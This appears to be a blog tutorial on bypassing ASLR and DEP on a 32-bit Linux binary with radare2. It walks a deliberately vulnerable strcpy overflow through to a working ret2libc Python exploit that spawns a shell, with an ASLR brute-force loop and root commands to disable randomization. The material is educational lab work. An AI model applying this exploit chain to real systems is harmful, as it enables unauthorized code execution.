Bypassing ASLR and DEP for 32-Bit Binaries With r2

exploitation r2 radare2 reverse-engineering ret2libc

This post covers basic basics of bypassing ASLR and DEP with r2. For this, a vulnerable application, yolo.c, is required:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void lol(char *b)
{
    char buffer[1337];
    strcpy(buffer, b);
}

int main(int argc, char **argv)
{
    lol(argv[1]);
}

64-Bit vs 32-Bit Binaries

The issue here should be quite obvious - strcpy blindly copies the user-controlled input buffer b into buffer which causes a buffer overflow. Since normally ASLR and DEP are enabled, the following things don’t just work out of the box:

$ gcc yolo.c -o yolo_x64

$ ldd yolo_x64 | grep libc
        libc.so.6 => /usr/lib/libc.so.6 (0x00007fe0def68000)

$ ldd yolo_x64 | grep libc
        libc.so.6 => /usr/lib/libc.so.6 (0x00007fba1f038000) <-- much random

$ ldd yolo_x64 | grep libc
        libc.so.6 => /usr/lib/libc.so.6 (0x00007f3d65b03000) <-- also here

$ ldd yolo_x64 | grep libc
        libc.so.6 => /usr/lib/libc.so.6 (0x00007f584e180000) <-- here too

$ ldd yolo_x64 | grep libc
        libc.so.6 => /usr/lib/libc.so.6 (0x00007fc4aee7c000) <-- :/

As seen above, the start address of libc always has a random value. The ret2libc technique would theoretically work in case an attacker is able to guess the start address of libc. However, for 64-bit binaries the chance to guess this right is just too small. Because of this, this post covers 32-bit binaries where the chance to make a right guess is better:

$ gcc -fno-stack-protector -m32 yolo.c -o yolo

$ ldd yolo | grep libc
        libc.so.6 => /usr/lib32/libc.so.6 (0xf7cbb000)

$ ldd yolo | grep libc
        libc.so.6 => /usr/lib32/libc.so.6 (0xf7d43000) <-- not so random

$ ldd yolo | grep libc
        libc.so.6 => /usr/lib32/libc.so.6 (0xf7d18000)

$ ldd yolo | grep libc
        libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7d000)

$ ldd yolo | grep libc
        libc.so.6 => /usr/lib32/libc.so.6 (0xf7cb0000)

The approach to guess the right start address is also called brute forcing ASLR. As indicated above, the address space for possible start addresses of the library is not that large anymore for a 32-bit binary:

$ ldd yolo | grep libc
        libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000)


$ while true; do echo -ne "."; ldd yolo | grep libc | grep 0xf7d8d000; done

...................................     libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000)
..................................................................................................................................................................................................................................................................................................................................................     libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000)
............................................................................................................... libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000)

The same libc start address was found after multiple re-executions. Therefore the value can be guessed by re-using a previously valid start address.

Please note that for this exercise, stack cookies are disabled while compiling the code (-fno-stack-protector):

$ r2 yolo
 -- Finnished a beer
[0x00001050]> i
file     yolo
size     0x3c80
format   elf
arch     x86
bits     32
canary   false <-- no cookies for you
nx       true
os       linux
pic      true
relocs   true
relro    partial

Getting EIP Control

The first step to exploit this application is to get control over the EIP register. To determine the offset after which the EIP overwrite happens, a buffer with a pattern is being sent to the application using a Python script. The first version of this script just sends a large buffer to check whether the application really crashes:

#!/usr/bin/python2.7

print "A" * 2000

Now let’s debug the application with r2:

$ r2 -d yolo
[0xf7f3e0b0]> ood `!python2.7 b.py`
[...]
[0xf7ef40b0]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41414141 code=1 ret=0
[0x41414141]> dr
eax = 0xff8a0317
ebx = 0x41414141
ecx = 0xff8a3000
edx = 0xff8a0add
esi = 0xf7ea7e24
edi = 0xf7ea7e24
esp = 0xff8a0860
ebp = 0x41414141
eip = 0x41414141
eflags = 0x00010282
oeax = 0xffffffff

The input caused the application to successfully overwrite its EIP register with “AAAA” (41414141). Now repeat this step with a cyclic pattern to determine the correct offset for EIP control. For this, use ragg2 -P 2000 to create the pattern and modify the Python script to print the pattern:

$ r2 -d yolo
[0xf7f960b0]> ood `!python2.7 b.py`
[...]
[0xf7ef00b0]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x48415848 code=1 ret=0
[0x48415848]> wopO `dr eip`
1349

Therefore the EIP register gets overwritten after 1349 bytes.

ret2libc

To successfully leverage a return2libc exploit, the following things are required:

The idea is to cause the application to use gadgets already present in its memory space to spawn a shell. Because no gadgets of the user input are in use, DEP won’t kick in. If everything works as expected, the application will call system(/bin/sh) upon successful exploitation. The layout of the input buffer is as follows:

<Junk Byte> * 1349 (Offset)
<Address of system()> (new EIP)
<Address of exit()> (new return address)
<Address of /bin/sh string> (Argument for system())

The layout of this buffer ultimately causes a fake stack frame to be created in the memory of the application. After returning from the call to lol, the program will execute system() with /bin/sh as parameter and exit() as return address. Remember, on x86 arguments are pushed onto the stack in reverse order before calling a function.

Determining Offsets

The addresses and offsets mentioned above can be determined using r2 from a running debug session:

r2 -d yolo
[0xf7f040b0]> dcu main
Continue until 0x5660a1be using 1 bpsize
hit breakpoint at: 5660a1be

[0x5660a1be]> dmi
0xf7cdf000 0xf7cf8000  /usr/lib32/libc-2.28.so <-- start address of libc of this run

[0x5660a1be]> dmi libc system
1524 0x0003e8f0 0xf7d1d8f0   WEAK   FUNC   55 system <-- offset of system()

[0x5660a1be]> dmi libc exit
150 0x000318e0 0xf7d108e0 GLOBAL   FUNC   33 exit <-- offset of exit()

[0x5660a1be]> e search.in=dbg.maps <-- search in more segments
[0x5660a1be]> / /bin/sh <-- search for /bin/sh string
Searching 7 bytes in [0xffdb7000-0xffdd8000]
hits: 0
0xf7e5eaaa hit0_0 .b/strtod_l.c-c/bin/shexit 0canonica. <-- /bin/sh found

Therefore the values for the exploit to use are:

In case the correct libc start address is guessed, all other values should then automatically fit too.

For debugging purposes: Always print the calculated addresses since bad characters like 0x00 or 0x0A in address values may corrupt the input buffer and prevent exploitation.

Putting the Exploit together

The developed exploit looks as follows:

#!/usr/bin/python2.7

import struct
import sys

EIP_OFFSET = 1349

libc_start = 0xf7cdf000
binsh_offset = 0x0017FAAA
system_offset = 0x0003e8f0
exit_offset = 0x000318e0

system_addr = libc_start + system_offset
exit_addr = libc_start + exit_offset
binsh_addr = libc_start + binsh_offset

PAYLOAD = ""

while len(PAYLOAD) < EIP_OFFSET:
    PAYLOAD += "\x90" # NOP

PAYLOAD += struct.pack("<I",system_addr)
PAYLOAD += struct.pack("<I",exit_addr)
PAYLOAD += struct.pack("<I",binsh_addr)

sys.stdout.write(PAYLOAD)

To test it without ASLR in place and therefore without the need to brute force the libc start address, temporarily disable ASLR on the system using a root shell:

# echo 0 > /proc/sys/kernel/randomize_va_space

This causes the start address to remain static and the first exploitation attempt should always succeed:

[0x565561be]> dmi
0xf7db0000 0xf7dc9000  /usr/lib32/libc-2.28.so <-- libc start address after disabling ASLR
[0xf7fd50b0]> ood `!python2.7 exploit.py` <-- running the exploit with static address above
[0xf7fd50b0]> dc
sh-5.0$ <-- :)

Now that this worked, enable ASLR again:

# echo 2 > /proc/sys/kernel/randomize_va_space

And run the exploit in an infinite loop until a shell gets spawned:

$ while true; do echo -ne "."; ./yolo $(python2.7 exploit.py); done
..........................................................................................................yolo: vfprintf.c:4157552864: l: Assertion `(size_t) done <= (size_t) INT_MAX' failed.
.........................................
sh-5.0$

ASLR and DEP have been successfully bypassed. The V! view of r2 shows the addresses after being pushed on the stack:

V!

Ok Bye.

37C3 CTF: ezrop

ctf reversing exploitation rop radare2 r2

ShhPlunk: Muting the Splunk Forwarder

reverse-engineering c++ linux

Game Hacking #5: Hacking Walls and Particles

reverse-engineering c++ binary gamehacking